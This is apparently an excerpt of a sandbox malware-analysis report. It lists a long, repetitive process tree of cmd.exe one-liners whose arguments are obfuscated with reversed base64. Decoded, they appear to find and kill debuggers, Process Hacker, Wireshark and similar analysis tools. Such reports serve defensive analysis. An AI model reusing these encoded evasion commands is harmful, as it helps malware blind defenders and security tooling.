  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5844
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2884
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1936
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3064
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5072
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2068
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5580
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2464
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:52
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4568
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3884
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:6096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3720
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5872
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5580
- C:\Windows\SYSTEM32\cmd.exe
